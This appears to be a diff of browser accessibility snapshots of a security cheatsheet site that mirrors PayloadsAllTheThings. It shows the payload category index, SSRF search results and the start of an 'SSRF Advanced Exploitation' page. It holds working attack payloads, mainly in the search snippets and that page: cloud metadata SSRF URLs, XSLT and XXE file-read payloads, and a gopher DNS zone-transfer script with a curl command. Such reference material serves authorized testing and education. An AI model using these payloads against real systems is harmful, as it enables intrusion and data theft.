+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f6e935]:
+            - generic [ref=f6e936]: "27"
+            - generic [ref=f6e937]: payload
+            - generic [ref=f6e941]: Insecure Deserialization
+            - generic [ref=f6e942]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f6e946] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f6e947]:
+            - generic [ref=f6e948]: "28"
+            - generic [ref=f6e949]: payload
+            - generic [ref=f6e953]: Insecure Direct Object References
+            - generic [ref=f6e954]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f6e958] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f6e959]:
+            - generic [ref=f6e960]: "29"
+            - generic [ref=f6e961]: payload
+            - generic [ref=f6e965]: Insecure Management Interface
+            - generic [ref=f6e966]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f6e970] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f6e971]:
+            - generic [ref=f6e972]: "30"
+            - generic [ref=f6e973]: payload
+            - generic [ref=f6e977]: Insecure Randomness
+            - generic [ref=f6e978]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f6e982] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f6e983]:
+            - generic [ref=f6e984]: "31"
+            - generic [ref=f6e985]: payload
+            - generic [ref=f6e989]: Insecure Source Code Management
+            - generic [ref=f6e990]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f6e994] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f6e995]:
+            - generic [ref=f6e996]: "32"
+            - generic [ref=f6e997]: payload
+            - generic [ref=f6e1001]: Java RMI
+            - generic [ref=f6e1002]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f6e1006] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f6e1007]:
+            - generic [ref=f6e1008]: "33"
+            - generic [ref=f6e1009]: payload
+            - generic [ref=f6e1013]: JSON Web Token
+            - generic [ref=f6e1014]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f6e1018] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f6e1019]:
+            - generic [ref=f6e1020]: "34"
+            - generic [ref=f6e1021]: payload
+            - generic [ref=f6e1025]: LaTeX Injection
+            - generic [ref=f6e1026]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f6e1030] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f6e1031]:
+            - generic [ref=f6e1032]: "35"
+            - generic [ref=f6e1033]: payload
+            - generic [ref=f6e1037]: LDAP Injection
+            - generic [ref=f6e1038]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f6e1042] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f6e1043]:
+            - generic [ref=f6e1044]: "36"
+            - generic [ref=f6e1045]: payload
+            - generic [ref=f6e1049]: Mass Assignment
+            - generic [ref=f6e1050]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f6e1054] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f6e1055]:
+            - generic [ref=f6e1056]: "37"
+            - generic [ref=f6e1057]: payload
+            - generic [ref=f6e1061]: Methodology and Resources
+            - generic [ref=f6e1062]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f6e1066] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f6e1067]:
+            - generic [ref=f6e1068]: "38"
+            - generic [ref=f6e1069]: payload
+            - generic [ref=f6e1073]: NoSQL Injection
+            - generic [ref=f6e1074]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f6e1078] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f6e1079]:
+            - generic [ref=f6e1080]: "39"
+            - generic [ref=f6e1081]: payload
+            - generic [ref=f6e1085]: OAuth Misconfiguration
+            - generic [ref=f6e1086]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f6e1090] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f6e1091]:
+            - generic [ref=f6e1092]: "40"
+            - generic [ref=f6e1093]: payload
+            - generic [ref=f6e1097]: Open Redirect
+            - generic [ref=f6e1098]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f6e1102] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f6e1103]:
+            - generic [ref=f6e1104]: "41"
+            - generic [ref=f6e1105]: payload
+            - generic [ref=f6e1109]: ORM Leak
+            - generic [ref=f6e1110]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f6e1114] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f6e1115]:
+            - generic [ref=f6e1116]: "42"
+            - generic [ref=f6e1117]: payload
+            - generic [ref=f6e1121]: Prompt Injection
+            - generic [ref=f6e1122]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f6e1126] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f6e1127]:
+            - generic [ref=f6e1128]: "43"
+            - generic [ref=f6e1129]: payload
+            - generic [ref=f6e1133]: Prototype Pollution
+            - generic [ref=f6e1134]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f6e1138] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f6e1139]:
+            - generic [ref=f6e1140]: "44"
+            - generic [ref=f6e1141]: payload
+            - generic [ref=f6e1145]: Race Condition
+            - generic [ref=f6e1146]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f6e1150] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f6e1151]:
+            - generic [ref=f6e1152]: "45"
+            - generic [ref=f6e1153]: payload
+            - generic [ref=f6e1157]: Regular Expression
+            - generic [ref=f6e1158]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f6e1162] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f6e1163]:
+            - generic [ref=f6e1164]: "46"
+            - generic [ref=f6e1165]: payload
+            - generic [ref=f6e1169]: Request Smuggling
+            - generic [ref=f6e1170]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f6e1174] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f6e1175]:
+            - generic [ref=f6e1176]: "47"
+            - generic [ref=f6e1177]: payload
+            - generic [ref=f6e1181]: Reverse Proxy Misconfigurations
+            - generic [ref=f6e1182]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f6e1186] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f6e1187]:
+            - generic [ref=f6e1188]: "48"
+            - generic [ref=f6e1189]: payload
+            - generic [ref=f6e1193]: SAML Injection
+            - generic [ref=f6e1194]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f6e1198] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f6e1199]:
+            - generic [ref=f6e1200]: "49"
+            - generic [ref=f6e1201]: payload
+            - generic [ref=f6e1205]: Server Side Include Injection
+            - generic [ref=f6e1206]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f6e1210] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f6e1211]:
+            - generic [ref=f6e1212]: "50"
+            - generic [ref=f6e1213]: payload
+            - generic [ref=f6e1217]: Server Side Request Forgery
+            - generic [ref=f6e1218]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f6e1222] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f6e1223]:
+            - generic [ref=f6e1224]: "51"
+            - generic [ref=f6e1225]: payload
+            - generic [ref=f6e1229]: Server Side Template Injection
+            - generic [ref=f6e1230]: 8 pages
+        - link "52 payload SQL Injection 10 pages" [ref=f6e1234] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f6e1235]:
+            - generic [ref=f6e1236]: "52"
+            - generic [ref=f6e1237]: payload
+            - generic [ref=f6e1241]: SQL Injection
+            - generic [ref=f6e1242]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f6e1246] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f6e1247]:
+            - generic [ref=f6e1248]: "53"
+            - generic [ref=f6e1249]: payload
+            - generic [ref=f6e1253]: Tabnabbing
+            - generic [ref=f6e1254]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f6e1258] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f6e1259]:
+            - generic [ref=f6e1260]: "54"
+            - generic [ref=f6e1261]: payload
+            - generic [ref=f6e1265]: Type Juggling
+            - generic [ref=f6e1266]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f6e1270] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f6e1271]:
+            - generic [ref=f6e1272]: "55"
+            - generic [ref=f6e1273]: payload
+            - generic [ref=f6e1277]: Upload Insecure Files
+            - generic [ref=f6e1278]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f6e1282] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f6e1283]:
+            - generic [ref=f6e1284]: "56"
+            - generic [ref=f6e1285]: payload
+            - generic [ref=f6e1289]: Virtual Hosts
+            - generic [ref=f6e1290]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f6e1294] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f6e1295]:
+            - generic [ref=f6e1296]: "57"
+            - generic [ref=f6e1297]: payload
+            - generic [ref=f6e1301]: Web Cache Deception
+            - generic [ref=f6e1302]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f6e1306] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f6e1307]:
+            - generic [ref=f6e1308]: "58"
+            - generic [ref=f6e1309]: payload
+            - generic [ref=f6e1313]: Web Sockets
+            - generic [ref=f6e1314]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f6e1318] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f6e1319]:
+            - generic [ref=f6e1320]: "59"
+            - generic [ref=f6e1321]: payload
+            - generic [ref=f6e1325]: XPATH Injection
+            - generic [ref=f6e1326]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f6e1330] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f6e1331]:
+            - generic [ref=f6e1332]: "60"
+            - generic [ref=f6e1333]: payload
+            - generic [ref=f6e1337]: XS-Leak
+            - generic [ref=f6e1338]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f6e1342] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f6e1343]:
+            - generic [ref=f6e1344]: "61"
+            - generic [ref=f6e1345]: payload
+            - generic [ref=f6e1349]: XSLT Injection
+            - generic [ref=f6e1350]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f6e1354] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f6e1355]:
+            - generic [ref=f6e1356]: "62"
+            - generic [ref=f6e1357]: payload
+            - generic [ref=f6e1361]: XSS Injection
+            - generic [ref=f6e1362]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f6e1366] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f6e1367]:
+            - generic [ref=f6e1368]: "63"
+            - generic [ref=f6e1369]: payload
+            - generic [ref=f6e1373]: XXE Injection
+            - generic [ref=f6e1374]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f6e1378] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f6e1379]:
+            - generic [ref=f6e1380]: "64"
+            - generic [ref=f6e1381]: payload
+            - generic [ref=f6e1385]: Zip Slip
+            - generic [ref=f6e1386]: 1 page
+  - contentinfo [ref=f6e1390]:
+    - generic [ref=f6e1391]:
+      - generic [ref=f6e1392]:
+        - link "DÆMON // SEC" [ref=f6e1393] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e1394]: //
+          - text: SEC
+        - paragraph [ref=f6e1395]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e1396]:
+        - link "daemon-404.github.io β†—" [ref=f6e1397] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e1398] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e1399]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1400] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e1401] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e1402]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e1403]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f6e1406]:
+    - generic [ref=f6e1407]:
+      - searchbox "Search query" [active] [ref=f6e1411]: ssrf
+      - button "Close search" [ref=f6e1412] [cursor=pointer]
+    - generic [ref=f6e1415]:
+      - link "Payloads SSRF Advanced Exploitation SSRF Advanced Exploitation. Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious" [ref=f6e1417] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery/ssrf-advanced-exploitation/
+        - text: Payloads
+        - generic [ref=f6e1418]: SSRF Advanced Exploitation
+        - generic [ref=f6e1419]:
+          - mark [ref=f6e1420]: SSRF
+          - text: Advanced Exploitation. Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit
+          - mark [ref=f6e1421]: SSRF
+          - text: to interact with these services, injecting malicious
+      - link "Payloads SSRF URL for Cloud Instances http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text SSRF URL for OpenStack/RackSpace. (header required? unknown). http://169.254.169.254/openstack SSRF URL for HP Helion. (header required? unknown). http://169.254.169.254/2009-04-04/meta-data/ SSRF URL for Oracle Cloud. http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/ SSRF URL" [ref=f6e1422] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery/ssrf-cloud-instances/
+        - text: Payloads
+        - generic [ref=f6e1423]: SSRF URL for Cloud Instances
+        - generic [ref=f6e1424]:
+          - text: http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
+          - mark [ref=f6e1425]: SSRF
+          - text: URL for OpenStack/RackSpace. (header required? unknown). http://169.254.169.254/openstack
+          - mark [ref=f6e1426]: SSRF
+          - text: URL for HP Helion. (header required? unknown). http://169.254.169.254/2009-04-04/meta-data/
+          - mark [ref=f6e1427]: SSRF
+          - text: URL for Oracle Cloud. http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/
+          - mark [ref=f6e1428]: SSRF
+          - text: URL
+      - link "Payloads Server-Side Request Forgery Basic SSRF against the local server. PortSwigger - Basic SSRF against another back-end system. PortSwigger - SSRF with blacklist-based input filter. PortSwigger - SSRF with whitelist-based input filter. PortSwigger -" [ref=f6e1429] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery/
+        - text: Payloads
+        - generic [ref=f6e1430]: Server-Side Request Forgery
+        - generic [ref=f6e1431]:
+          - text: Basic
+          - mark [ref=f6e1432]: SSRF
+          - text: against the local server. PortSwigger - Basic
+          - mark [ref=f6e1433]: SSRF
+          - text: against another back-end system. PortSwigger -
+          - mark [ref=f6e1434]: SSRF
+          - text: with blacklist-based input filter. PortSwigger -
+          - mark [ref=f6e1435]: SSRF
+          - text: with whitelist-based input filter. PortSwigger -
+      - 'link "Payloads XSLT Injection Print name: description --> - <xsl:value-of select=\"name\"/>: <xsl:value-of select=\"description\"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> Read Files and SSRF Using Document. <?xml version=\"1.0\" encoding=\"utf-8\"?> <xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"> <xsl:template match=\"/fruits\"> <xsl:copy-of select=\"document(''http://172.16.132.1:25'')\"/> <xsl:copy-of select=\"document(''/etc/passwd'')\"/>" [ref=f6e1436] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/payloads/xslt-injection/
+        - text: Payloads
+        - generic [ref=f6e1437]: XSLT Injection
+        - generic [ref=f6e1438]:
+          - text: "Print name: description --> - <xsl:value-of select=\"name\"/>: <xsl:value-of select=\"description\"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> Read Files and"
+          - mark [ref=f6e1439]: SSRF
+          - text: Using Document. <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> <xsl:copy-of select="document('/etc/passwd')"/>
+      - 'link "Web cURL -H ''X-Forwarded-For: 127.0.0.1'' -H ''X-Original-URL: /admin'' 15. SSRF Probing. # Direct SSRF probe to metadata (example AWS) curl -s http://target/proxy?url=http://169.254.169.254/latest/meta-data/ # Verify DNS-based SSRF with a collaborator curl -s ''http://target/fetch?u=http://<id>.oast.site/''" [ref=f6e1440] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/web/curl/
+        - text: Web
+        - generic [ref=f6e1441]: cURL
+        - generic [ref=f6e1442]:
+          - text: "-H 'X-Forwarded-For: 127.0.0.1' -H 'X-Original-URL: /admin' 15."
+          - mark [ref=f6e1443]: SSRF
+          - text: "Probing. # Direct"
+          - mark [ref=f6e1444]: SSRF
+          - text: "probe to metadata (example AWS) curl -s http://target/proxy?url=http://169.254.169.254/latest/meta-data/ # Verify DNS-based"
+          - mark [ref=f6e1445]: SSRF
+          - text: with a collaborator curl -s 'http://target/fetch?u=http://<id>.oast.site/'
+      - link "Payloads XML External Entity to target. <foo xmlns:xi=\"http://www.w3.org/2001/XInclude\"> <xi:include parse=\"text\" href=\"file:///etc/passwd\"/></foo> Exploiting XXE to Perform SSRF Attacks. XXE can be combined with the SSRF vulnerability to target another service on the network. <?xml version=\"1.0\"" [ref=f6e1446] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/payloads/xxe-injection/
+        - text: Payloads
+        - generic [ref=f6e1447]: XML External Entity
+        - generic [ref=f6e1448]:
+          - text: to target. <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> Exploiting XXE to Perform
+          - mark [ref=f6e1449]: SSRF
+          - text: Attacks. XXE can be combined with the
+          - mark [ref=f6e1450]: SSRF
+          - text: vulnerability to target another service on the network. <?xml version="1.0"
+      - link "Payloads Cloud - AWS Access Management. AWS - IOC & Detections. AWS - Service - Lambda. AWS - Metadata SSRF. AWS - Service - S3 Buckets. AWS - Service - SSM. AWS - Training." [ref=f6e1451] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources/cloud-aws-pentest/
+        - text: Payloads
+        - generic [ref=f6e1452]: Cloud - AWS
+        - generic [ref=f6e1453]:
+          - text: Access Management. AWS - IOC & Detections. AWS - Service - Lambda. AWS - Metadata
+          - mark [ref=f6e1454]: SSRF.
+          - text: AWS - Service - S3 Buckets. AWS - Service - SSM. AWS - Training.
+      - 'link "Payloads Server Side Include Injection April 3, 2018. DEF CON 26 - Edge Side Include Injection Abusing Caching Servers into SSRF - ldionmarcil - October 23, 2018. ESI Injection Part 2: Abusing specific implementations -" [ref=f6e1455] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection/
+        - text: Payloads
+        - generic [ref=f6e1456]: Server Side Include Injection
+        - generic [ref=f6e1457]:
+          - text: April 3, 2018. DEF CON 26 - Edge Side Include Injection Abusing Caching Servers into
+          - mark [ref=f6e1458]: SSRF
+          - text: "- ldionmarcil - October 23, 2018. ESI Injection Part 2: Abusing specific implementations -"
+  - generic [ref=f6e1404]: Payloads — PayloadsAllTheThings mirror — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-09-23-420Z.yml b/.playwright-mcp/page-2026-08-10T08-09-23-420Z.yml
@@ -0,0 +1,370 @@
+- generic [active] [ref=f6e1459]:
+  - banner [ref=f6e1460]:
+    - generic [ref=f6e1461]:
+      - link "DÆMON//SEC home" [ref=f6e1462] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e1463]: //
+        - text: SEC
+        - generic [ref=f6e1464]: _
+      - navigation "Primary" [ref=f6e1465]:
+        - link "01 Vault" [ref=f6e1466] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e1467]: "01"
+          - generic [ref=f6e1468]: Vault
+        - link "02 Payloads" [ref=f6e1469] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e1470]: "02"
+          - generic [ref=f6e1471]: Payloads
+        - link "03 Tags" [ref=f6e1472] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e1473]: "03"
+          - generic [ref=f6e1474]: Tags
+        - link "04 Credits" [ref=f6e1475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e1476]: "04"
+          - generic [ref=f6e1477]: Credits
+      - generic [ref=f6e1478]:
+        - button "Search cheatsheets" [ref=f6e1479] [cursor=pointer]:
+          - generic [ref=f6e1482]: Search
+          - generic [ref=f6e1483]: /
+        - button "Toggle theme" [ref=f6e1484] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e1489] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e1492] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e1495]:
+    - generic [ref=f6e1496]:
+      - navigation [ref=f6e1497]:
+        - link "~" [ref=f6e1498] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f6e1499]: /
+        - link "payloads" [ref=f6e1500] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f6e1501]: /
+        - link "server-side-request-forgery" [ref=f6e1502] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+        - generic [ref=f6e1503]: /
+        - generic [ref=f6e1504]: ssrf-advanced-exploitation
+      - generic [ref=f6e1505]:
+        - paragraph [ref=f6e1506]: // Payloads Β· Server Side Request Forgery
+        - heading "SSRF Advanced Exploitation" [level=1] [ref=f6e1507]
+      - complementary "Attribution" [ref=f6e1508]:
+        - generic [ref=f6e1509]: mirror
+        - generic [ref=f6e1510]:
+          - text: Mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1511] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: β€Ί Server Side Request Forgery
+          - generic [ref=f6e1512]:
+            - text: MIT Β·
+            - link "credits" [ref=f6e1513] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f6e1514]: 3bff425
+        - link "View source on GitHub" [ref=f6e1515] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3bff425aca2b/Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation.md
+          - text: source
+      - article [ref=f6e1518]:
+        - blockquote [ref=f6e1519]:
+          - paragraph [ref=f6e1520]: Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.
+        - heading "Summary" [level=2] [ref=f6e1521]
+        - list [ref=f6e1522]:
+          - listitem [ref=f6e1523]:
+            - link "DNS AXFR" [ref=f6e1524] [cursor=pointer]:
+              - /url: "#dns-axfr"
+          - listitem [ref=f6e1525]:
+            - link "FastCGI" [ref=f6e1526] [cursor=pointer]:
+              - /url: "#fastcgi"
+          - listitem [ref=f6e1527]:
+            - link "Memcached" [ref=f6e1528] [cursor=pointer]:
+              - /url: "#memcached"
+          - listitem [ref=f6e1529]:
+            - link "MySQL" [ref=f6e1530] [cursor=pointer]:
+              - /url: "#memcached"
+          - listitem [ref=f6e1531]:
+            - link "Redis" [ref=f6e1532] [cursor=pointer]:
+              - /url: "#redis"
+          - listitem [ref=f6e1533]:
+            - link "SMTP" [ref=f6e1534] [cursor=pointer]:
+              - /url: "#smtp"
+          - listitem [ref=f6e1535]:
+            - link "WSGI" [ref=f6e1536] [cursor=pointer]:
+              - /url: "#wsgi"
+          - listitem [ref=f6e1537]:
+            - link "Zabbix" [ref=f6e1538] [cursor=pointer]:
+              - /url: "#zabbix"
+          - listitem [ref=f6e1539]:
+            - link "References" [ref=f6e1540] [cursor=pointer]:
+              - /url: "#references"
+        - heading "DNS AXFR" [level=2] [ref=f6e1541]
+        - paragraph [ref=f6e1542]:
+          - generic [ref=f6e1543]: Q
+          - text: uery an internal DNS resolver to trigger a full zone transfer (
+          - strong [ref=f6e1544]: AXFR
+          - text: ) and exfiltrate a list of subdomains.
+        - figure "py Copy" [ref=f6e1545]:
+          - generic [ref=f6e1546]:
+            - generic [ref=f6e1547]: py
+            - button "Copy" [ref=f6e1548] [cursor=pointer]
+          - code [ref=f6e1553]:
+            - generic [ref=f6e1554]: from urllib.parse import quote
+            - generic [ref=f6e1555]: domain,tld = "example.lab".split('.')
+            - generic [ref=f6e1556]: "dns_request = b\"\\x01\\x03\\x03\\x07\" # BITMAP"
+            - generic [ref=f6e1557]: "dns_request += b\"\\x00\\x01\" # QCOUNT"
+            - generic [ref=f6e1558]: "dns_request += b\"\\x00\\x00\" # ANCOUNT"
+            - generic [ref=f6e1559]: "dns_request += b\"\\x00\\x00\" # NSCOUNT"
+            - generic [ref=f6e1560]: "dns_request += b\"\\x00\\x00\" # ARCOUNT"
+            - generic [ref=f6e1561]: "dns_request += len(domain).to_bytes() # LEN DOMAIN"
+            - generic [ref=f6e1562]: "dns_request += domain.encode() # DOMAIN"
+            - generic [ref=f6e1563]: "dns_request += len(tld).to_bytes() # LEN TLD"
+            - generic [ref=f6e1564]: "dns_request += tld.encode() # TLD"
+            - generic [ref=f6e1565]: "dns_request += b\"\\x00\" # DNAME EOF"
+            - generic [ref=f6e1566]: "dns_request += b\"\\x00\\xFC\" # QTYPE AXFR (252)"
+            - generic [ref=f6e1567]: "dns_request += b\"\\x00\\x01\" # QCLASS IN (1)"
+            - generic [ref=f6e1568]: dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
+            - generic [ref=f6e1569]: "print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')"
+        - paragraph [ref=f6e1570]:
+          - text: Example of payload for
+          - code [ref=f6e1571]: example.lab
+          - text: ":"
+          - code [ref=f6e1572]: gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01
+        - figure "ps1 Copy" [ref=f6e1573]:
+          - generic [ref=f6e1574]:
+            - generic [ref=f6e1575]: ps1
+            - button "Copy" [ref=f6e1576] [cursor=pointer]
+          - code [ref=f6e1581]:
+            - generic [ref=f6e1582]: curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
+        - heading "FastCGI" [level=2] [ref=f6e1583]
+        - paragraph [ref=f6e1584]:
+          - text: Requires to know the full path of one PHP file on the server, by default the exploit is using
